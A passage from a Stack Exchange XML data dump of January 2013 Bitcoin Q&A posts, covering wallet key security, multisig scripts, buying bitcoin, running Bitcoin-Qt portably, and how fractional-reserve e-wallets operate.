  <row Id="6083" PostTypeId="2" ParentId="5697" CreationDate="2013-01-10T16:52:34.170" Score="9" Body="&lt;p&gt;I would recommend using Homebrew or MacPorts to manage this dependency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Homebrew package is simply &lt;code&gt;pcre&lt;/code&gt; or &lt;code&gt;pcre++&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install pcre pcre++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The MacPorts packages are &lt;code&gt;pcre&lt;/code&gt; and &lt;code&gt;pcrexx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo port install pcre pcrexx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2014-03-03T04:24:11.217" LastActivityDate="2014-03-03T04:24:11.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6084" PostTypeId="2" ParentId="4366" CreationDate="2013-01-10T16:55:48.857" Score="2" Body="&lt;p&gt;No, it will not. The information on the scanned image must be very clear and show a clear photograph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is best to scan the ID using a quality scanner. Even a picture taken on a smartphone and filtered with a &quot;scanning&quot; program was insufficient for their requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: I lazily tried everything, getting rejected each time, then finally going and scanning the ID.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-10T16:55:48.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6085" PostTypeId="1" AcceptedAnswerId="6095" CreationDate="2013-01-10T19:08:11.037" Score="4" ViewCount="1212" Body="&lt;p&gt;Is there a way to get a list of the latest transactions IDs? I know I can watch incoming transaction almost live on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;, but is there a way to download the last 10.000 transaction IDs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hints!&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2013-01-11T14:15:18.073" Title="Chronological list of transaction ids" Tags="|transactions|blockchain|block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6086" PostTypeId="1" AcceptedAnswerId="6092" CreationDate="2013-01-10T21:39:28.990" Score="9" ViewCount="1280" Body="&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a deterministic wallet and a larger number of private keys and associated bitcoin addresses on a safe (e.g. offline) computer.&lt;/li&gt;&#xA;&lt;li&gt;Backup the seed securely. Store the private keys securely (e.g. on a piece of paper). &lt;/li&gt;&#xA;&lt;li&gt;Note addresses and send Bitcoins to a number of different addresses. (They are now in cold storage.)&lt;/li&gt;&#xA;&lt;li&gt;When needed, take one of the private keys and import it from an online wallet (e-wallet, cellphone, etc.) (This includes the risk of the private key getting stolen by malware or the e-wallet operator. However, such a theft would only apply to a small amount, not your total fortune.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If one private key of a deterministic wallet gets compromised (known to an advisory), are the other keys (and the seed) still secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By design, this is not the case for the &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/45c0880195d2013d7cf64d7d683eb771f9d27a7b/electrum#L282&quot; rel=&quot;noreferrer&quot;&gt;electrum&lt;/a&gt; deterministic wallet and the developers are aware of this. How about other deterministic wallets, e.g. Armory?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2013-03-18T15:12:37.117" LastActivityDate="2014-09-20T03:09:17.663" Title="Can I create a deterministic wallet and export/disclose indiviual keys without compromising the wallet?" Tags="|wallet|security|private-key|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostTypeId="2" ParentId="6086" CreationDate="2013-01-11T02:40:07.530" Score="0" Body="&lt;p&gt;It all depends on how your deterministic wallet was created, if it's somthing hash based it would be secure. What you need is that it is impossible to discover the seed with the actual private keys, so it must use an one way function (i.e. hash function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in general compromising a private key in a wallet does not comprise the rest of the wallet.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-11T02:40:07.530" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6088" PostTypeId="1" CreationDate="2013-01-11T03:36:58.227" Score="2" ViewCount="14292" Body="&lt;p&gt;If all of the world suddenly decided they want to use BTC as their currency, what would the value of 1 BTC be, as measured in today's US dollars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course dollars would drop to zero in this theoretical case, but we can still measure BTC in today's dollars and get a finite result)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-01-15T21:22:24.553" Title="What is the maximal value of 1 BTC?" Tags="|value|" AnswerCount="4" CommentCount="6" ClosedDate="2013-01-16T17:29:26.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostTypeId="2" ParentId="6062" CreationDate="2013-01-11T03:42:51.963" Score="0" Body="&lt;p&gt;The algorithm that compose the bitcoin's address are ECDSA and will be completely broken (you would be able to find one's private key with the public key). So you would be able to spend anyone's bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining though is sha-256 based and is still &quot;secure&quot;, in secure I mean it can't be simply reversed, but it still can be brute force. And since a quantum computer is exponentially more powerful people with QC would begin to mine like hell and the difficulty would rise to unseen levels. Since the difficulty is just merely an exponentionnal limitation the time to mine for an quantum computer will only grow linearly up until the maximum difficulty is reached (the maximum difficulty would require an hash of 0....all zeroes hash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this time come maybe it will block the chain (or maybe not) because a 0 hash maybe impossible to get, but in anyway massive damage would have been done to the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would happen if the quantum computer is introduced tomorrow, if we have a more progressive approach we can have time to change our algorithm to quantum ones, bitcoin can change his algorithm.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="78" LastEditDate="2013-01-11T03:44:47.927" LastActivityDate="2013-01-11T03:44:47.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6090" PostTypeId="2" ParentId="6088" CreationDate="2013-01-11T06:11:08.803" Score="5" Body="&lt;p&gt;Basing on &lt;a href=&quot;http://xkcd.com/980/huge/#x=-11222&amp;amp;y=-7614&amp;amp;z=5&quot;&gt;this set of data from XKCD&lt;/a&gt;, world's GDP is $62,900,000,000,000, If all of it was expressed in 21 million bitcoins, then each bitcoin would be worth $2,995,238.10, so roughly 3 million dollars.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-11T06:11:08.803" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostTypeId="2" ParentId="6086" CreationDate="2013-01-11T12:10:37.823" Score="8" Body="&lt;p&gt;The proposed standard for hierarchical deterministic wallets (see &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot;&gt;BIP 32&lt;/a&gt;) is designed to allow this (and more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not yet implemented, but several authors of clients have agreed to adopt it, once it becomes final.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-01-11T12:10:37.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostTypeId="2" ParentId="6085" CreationDate="2013-01-11T12:34:22.887" Score="2" Body="&lt;p&gt;Transactions don't have an accurate timestamp so their chronological ordering comes at the granularity of which block the transaction was included in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access to the &quot;raw transactions&quot; is available using the Bitcoin.org client's API, however it is not necessarily trivial to do so.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Armory provides some methods to pull transactions -- see the code in the extras directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Other methods might include libbitcoin&lt;/li&gt;&#xA;&lt;li&gt;or perhaps the library with picocoin&lt;/li&gt;&#xA;&lt;li&gt;or maybe ABE (blockchain explorer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-11T12:34:22.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6094" PostTypeId="1" AcceptedAnswerId="7172" CreationDate="2013-01-11T13:11:19.313" Score="8" ViewCount="542" Body="&lt;p&gt;In the situation that you want no individual to have the complete private key, but you do want  to share the complete key between 3 individuals, of which any 2 can construct the complete key, what is the downside from doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orig key = 1 2 3 4 5 6 7 8 9 (abbreviated for demo)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;key 1 = 1 2 _ 4 5 _ 7 8 _&lt;/p&gt;&#xA;&#xA;&lt;p&gt;key 2 = 1 _ 3 4 _ 6 7 _ 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;key 3 = _ 2 3 _ 5 6 _ 8 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;obviously any 2 keys would construct the entire key again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the decrease of key strength to 1/3 of the original, are there any other potential issues ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be used for &quot;short term&quot; escrow accounts where, in the case of a &quot;winner takes all&quot;, the escrow would just communicate their key to whichever counterpart won. If the escrow failed to send, then the counterparties could choose another (trusted) escrow and transfer the funds to them.&lt;/p&gt;&#xA;" OwnerUserId="2601" LastActivityDate="2022-04-18T17:04:37.360" Title="Is this an ok &quot;poor man's 2 out of 3&quot; key solution?" Tags="|private-key|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostTypeId="2" ParentId="6085" CreationDate="2013-01-11T14:15:18.073" Score="2" Body="&lt;p&gt;Transactions have no intrinsic total order, which would be needed to have a chronological order. Two nodes might independently create transactions &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; and send them to a common nodes &lt;code&gt;N&lt;/code&gt; and &lt;code&gt;M&lt;/code&gt;. &lt;code&gt;N&lt;/code&gt; receives first &lt;code&gt;a&lt;/code&gt; and then &lt;code&gt;b&lt;/code&gt;, while &lt;code&gt;M&lt;/code&gt; receives first &lt;code&gt;b&lt;/code&gt; and then &lt;code&gt;a&lt;/code&gt;, which would you say is the correct order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were a total order it would be possible to completely avoid the double spending problem as it would immediately be clear which is the winning transaction between two conflicting ones: just pick the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to your original question: there are two separate sets of transactions you have to consider.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Committed transactions: transactions that have appeared in a block in the longest blockchain&lt;/li&gt;&#xA;&lt;li&gt;Transactions in the memory pool: transactions that are yet to be confirmed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;bitcoind provides access to both these sets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;getmemorypool&lt;/code&gt; to get the transactions in the memory pool&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;getinfo&lt;/code&gt; to get the height of the latest block, and then use &lt;code&gt;getblockhash&lt;/code&gt; + &lt;code&gt;getblock&lt;/code&gt; to iterate through the blocks in descending order and extract the transaction hashes. Stop when you have 10'000 transactions in total.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-11T14:15:18.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostTypeId="1" CreationDate="2013-01-11T18:33:44.453" Score="0" ViewCount="678" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/91/how-do-you-obtain-bitcoins&quot;&gt;How do you obtain bitcoins?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I just want a straightforward answer, I read a few answers but the explanations are convoluted. Where can I buy bitcoins online? Is there a site or sites? Do/can we buy them with a bank card or credit card or directly with my bank account? If not, how the hell am I supposed to get them lol&lt;/p&gt;&#xA;" OwnerUserId="2603" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-01-12T04:13:13.267" Title="Ways to buy bitcoin (I'm in the US)" Tags="|buy-bitcoins|bitcoin-credit-card|debitcard|" AnswerCount="1" CommentCount="0" ClosedDate="2013-01-12T05:07:48.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="6098" PostTypeId="2" ParentId="6088" CreationDate="2013-01-11T19:41:00.897" Score="2" Body="&lt;p&gt;As of 2009, we have &lt;a href=&quot;http://goldnews.bullionvault.com/all_the_money_in_the_world_102720093&quot; rel=&quot;nofollow&quot;&gt;some random guy on the Internet&lt;/a&gt; estimating $4.5 trillion as the value of all paper and coin around the world. That's a pretty decent number to use if you're looking to imagine replacing all fiat money with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One big problem: there would be more demand for &quot;cash&quot; transactions since Bitcoins are more convenient than physical cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, due to convenience factors, a lot of us like monetary transactions that don't require the existence of any paper or coin. If we all switched to Bitcoin, how many of us would transfer BTC to a bank for the promise to pay back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, $4.5 trillion divided by $21 million is $214,285.71. That said, that's in 2009 dollars with the 2009 world economy, and a lot of assumptions. Also, with a deflationary currency that is far more convenient than paper and coin, its value would likely be far greater than that if every single human being wanted to only use Bitcoin and have all financial transactions denominated in BTC.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2013-01-11T19:41:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostTypeId="2" ParentId="6088" CreationDate="2013-01-11T23:17:17.243" Score="1" Body="&lt;p&gt;All of those answer are right but they do not take in effect that bitcoins can, are and will be destroyed (I am talking about lost bitcoins not the network crash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said the value of one bitcoin will be higher than the expected value we calculated and should continue to rise as more bitcoins are destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins can be destroyed by many ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Losing one's wallet&lt;br&gt;&#xA;-Making a payment to an invalid address (like the 0x0 puclic key, an elleptic curve in ECDSA cannot pass by (0,0))&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-11T23:17:17.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6100" PostTypeId="1" AcceptedAnswerId="28352" CreationDate="2013-01-12T00:15:47.593" Score="21" ViewCount="12295" Body="&lt;p&gt;How will multisig addresses work? Will they consist of multiple traditional addresses, or will they have some different structure? Will one be able to specify whether they will require 2 out of 2, 2 out of 3 or M out of N signatures? Where can I find out more about their specification?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2019-04-28T01:29:48.877" Title="How will multisig addresses work?" Tags="|development|protocol|address|multi-signature|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6101" PostTypeId="2" ParentId="6094" CreationDate="2013-01-12T03:34:22.723" Score="1" Body="&lt;p&gt;The way you address this you should use the script CHECKMULTISIGVERIFY with 3 different key provide within one transaction each party having his own key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_2%3a_Escrow_and_dispute_mediation&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for an example that resemble with what you were asking.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="845" LastEditDate="2013-01-12T03:57:59.247" LastActivityDate="2013-01-12T03:57:59.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6103" PostTypeId="2" ParentId="6100" CreationDate="2013-01-12T03:57:17.080" Score="5" Body="&lt;p&gt;Transcation in bitcoin are actually scripts, where normaly it states one input and one output address. But there are other op code such as CHECKMULTISIGVERIFY script. Each signing party will have their own public key hence their own address. The way it works is as shown:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;N K1 K2 K3 M CHECKMULTISIGVERIFY&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-N is the number of signature to continue&lt;br&gt;&#xA;-K1, K2, K3 The actual 3 public key&lt;br&gt;&#xA;-M The number of public key you provided&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the actual transaction does qould be set into the input script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_2%3a_Escrow_and_dispute_mediation&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; for an example of a transaction with a third party.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-12T03:57:17.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6104" PostTypeId="2" ParentId="6096" CreationDate="2013-01-12T04:07:57.203" Score="0" Body="&lt;p&gt;There are many sites indeed and some over the counter transaction, but for the sake of being short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try: &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can draw money from your bank account and put it in escrow for BTC and vice-versa... It's known as the biggest bitcoin exchange over the world.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="845" LastEditDate="2013-01-12T04:13:13.267" LastActivityDate="2013-01-12T04:13:13.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6105" PostTypeId="1" CreationDate="2013-01-12T05:12:49.160" Score="5" ViewCount="2269" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5471/would-it-be-possible-to-provide-a-downloadable-blockchain-that-is-updated-and-ve&quot;&gt;Would it be possible to provide a downloadable blockchain that is updated and verified by a mass of people?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;If I install and synchronize the official Bitcoin wallet, can I backup/transfer it to another computer, so that when I install Bitcoin wallet on the other computer it doesn't have to spend so much time synchronizing?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-01-27T01:34:07.757" Title="Can I synchronize the blockchain on one computer then transfer the files to another?" Tags="|blockchain|wallet|backup|synchronization|" AnswerCount="1" CommentCount="0" ClosedDate="2013-02-01T06:22:02.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="6106" PostTypeId="1" CreationDate="2013-01-12T07:55:03.170" Score="0" ViewCount="273" Body="&lt;p&gt;There are topics about the possibility of e-wallet providers operating like fractional reserve  banking. How it can be done in theory and practice? Did it ever happen on any meaningful way in Bitcoin's short history?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: does this practice involve any real lending of bitcoins just like the case with real banking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: is it a prerequisite for e-wallet operators that they store all clients' funds on a shared bitcoin address or is it only an added benefit for them?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="516" LastEditDate="2013-04-05T04:18:39.907" LastActivityDate="2013-04-05T04:18:39.907" Title="How can you operate a fractional reserve e-wallet?" Tags="|e-wallet|fractional-reserve|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostTypeId="1" CreationDate="2013-01-12T08:02:34.203" Score="-1" ViewCount="336" Body="&lt;p&gt;Courtesy of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=133136&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org fame&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, the Internet is full of free info but some time it might worth to pay for information, doesn't it? The funny thing is that he only sells it as a DRMed Kindle book, not a DRM-free EPUB at least. Though, I developed some practices so far (not sure if good, but I feel comfortable with them) and I have no idea if the author's worldview is compatible with mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing for sure: I see so many examples around people complicate bitcoin more necessarily than what it is, got hacked, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;Link to the book&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2013-01-13T05:19:08.227" Title="Bitcoin Step by Step [Kindle Edition] by Michael Caughey - worth buying?" Tags="|learning|" AnswerCount="1" CommentCount="3" ClosedDate="2015-05-22T02:03:24.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="6108" PostTypeId="1" CreationDate="2013-01-12T08:11:02.867" Score="5" ViewCount="312" Body="&lt;p&gt;The Bitcoin Wiki don't say much about fees, more precisely if you have a choice between speed vs. fees (pay more, deliver faster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I don't yet even have a clue how fast are bitcoin transactions. Sometimes instant, sometimes it is structured by the wallet provide for lower fees but takes up to 24 hours?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="5406" LastEditDate="2017-06-17T23:34:24.590" LastActivityDate="2017-06-17T23:34:24.590" Title="Understanding speed vs. fees on various wallets, esp. Instawallet and original client" Tags="|transaction-fees|confirmations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6109" PostTypeId="1" AcceptedAnswerId="6113" CreationDate="2013-01-12T08:16:18.037" Score="-1" ViewCount="175" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6015/how-to-make-bitcoin-qt-client-portable-windows&quot;&gt;How to Make Bitcoin QT Client Portable? (Windows)&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;That is my conclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better to experiment for myself that asking all these questions I have to restrict myself to with the lack of first hand experiment, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6108/understanding-speed-vs-fees-on-various-wallets-esp-instawallet-and-original-c&quot;&gt;Reference 1.&lt;/a&gt; /&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6107/bitcoin-step-by-step-kindle-edition-by-michael-caughey-worth-buying&quot;&gt;Reference 2.&lt;/a&gt; /&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6015/how-to-make-bitcoin-qt-client-portable-windows&quot;&gt;Reference 3.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-01-12T09:09:58.877" Title="Are the original Bitcoin Qt client's developers around and can we ask them to consider a portable version?" Tags="|development|bitcoin-core|portable|" AnswerCount="1" CommentCount="1" ClosedDate="2013-01-22T21:31:07.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="6110" PostTypeId="2" ParentId="746" CreationDate="2013-01-12T08:22:19.353" Score="-1" Body="&lt;p&gt;Encrypted; to more than one place convenient to you: hard drive, pendrive, cloud. Some store it on paper but that's another school.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="2567" LastEditDate="2013-01-12T08:51:48.313" LastActivityDate="2013-01-12T08:51:48.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6112" PostTypeId="1" CreationDate="2013-01-12T08:38:01.127" Score="0" ViewCount="1987" Body="&lt;p&gt;Obviously if you are American or you live somewhere where you have the opportunity to just buy a Visa (or Mastercard) gift card in a store for cash: you can't go better than that. But I don't have that opportunity around my country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would you pay someone (not a big amount) with credit card or Paypal if these are the only payments accepted by the merchant and you simply want to stay anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, the hefty fees are if you want to exchange credit card or Paypal to bitcoin because they are reversible payments but for the other way around (bitcoin to credit card or Paypal) there shouldn't be extra fees, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Bitcoin-OTC the place to go? What are best practices for this procedure? Is there a newbie-friendly non-techie guide to Bitcoin-OTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a thing as a truly legitimate no-name reloadable Visa/Mastercard or only the once-loadable gift cards are available?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="2567" LastEditDate="2013-01-13T05:23:01.020" LastActivityDate="2013-11-04T17:14:37.597" Title="Best way for anonymous purchases (for small amounts only) with credit card or Paypal if you have Bitcoins to spend? Bitcoin-OTC? No name credit card?" Tags="|paypal|bitcoin-credit-card|debitcard|otc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6113" PostTypeId="2" ParentId="6109" CreationDate="2013-01-12T09:09:58.877" Score="3" Body="&lt;p&gt;It's already essentially portable. Just:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download and extract the zip package.&lt;/li&gt;&#xA;&lt;li&gt;Run bitcoin-qt with the argument &lt;code&gt;-datadir=.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-01-12T09:09:58.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6114" PostTypeId="2" ParentId="6015" CreationDate="2013-01-12T09:19:31.133" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;Put the &lt;code&gt;bitcoin-qt.exe&lt;/code&gt; binary in the folder&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;code&gt;bitcoin.bat&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;Open the file with notepad&lt;/li&gt;&#xA;&lt;li&gt;Add the following line: &lt;code&gt;bitcoin-qt.exe -datadir=.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;From now on you can start by double-clicking the bat&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-12T09:19:31.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6115" PostTypeId="1" CreationDate="2013-01-12T10:58:51.950" Score="3" ViewCount="92" Body="&lt;p&gt;Are there any blogs that track the centralization in Bitcoin? Is it growing, or is Bitcoin becoming less centralized over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. I believe mining pools have become somewhat less centralized in the last two years. At some point the &lt;a href=&quot;http://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;hash power distribution&lt;/a&gt; had 1-2 pools that controlled over 50% of the network - now the largest piece in the hash power pie is &quot;Unknown&quot; (possibly solo miners).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is nice - but it still doesn't answer the question, as I don't really have the historic data to compare with. Other aspects of centralization worth tracking over time is Mt. Gox volume, the number and power distribution between core developers, and ownership of various community assets such as bitcointalk &amp;amp; the wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an answer I would want to get some threads/blogs that analyze this information and post updates - the answer in this case can't be a static analysis of the present situation (it wouldn't be a good fit for this Q&amp;amp;A format, as such answers tend to get stale).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-01-12T10:58:51.950" Title="What are some resources that analyze &quot;how centralized Bitcoin really is&quot;" Tags="|decentralization|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6117" PostTypeId="2" ParentId="6106" CreationDate="2013-01-12T15:17:43.793" Score="2" Body="&lt;p&gt;It is pretty simple. Persons A, B, and C store 10 BTC each with you, so you have 30BTC. You figure on any day you need 10BTC handy for all of the transactions of ABC. That leaves you with 20BTC to spend, and assuming they all don't come asking for it at the same time, you are fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When doing this, you need them to send you the BTC, and you keep a record of their account in a database. Transactions between them just update their db records (not the blockchain). Only when they withdraw or pay out to someone not in your system do you need to spend the money in your reserves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at mtgox, they could easily do this; the record of the coins that are yours is not what is in some address, but just what is in their db. Since they hold a huge amount of coins for a huge amount of users, it is unlikely that all of their coins will ever be withdrawn. In fact, many users may be dead or no longer interested in bitcoin or simply forgot their login. All of the bitcoins belonging to those users in essence will never be withdrawn, and mtgox can get away with spending them without worry. Using login statistics (which I am sure they 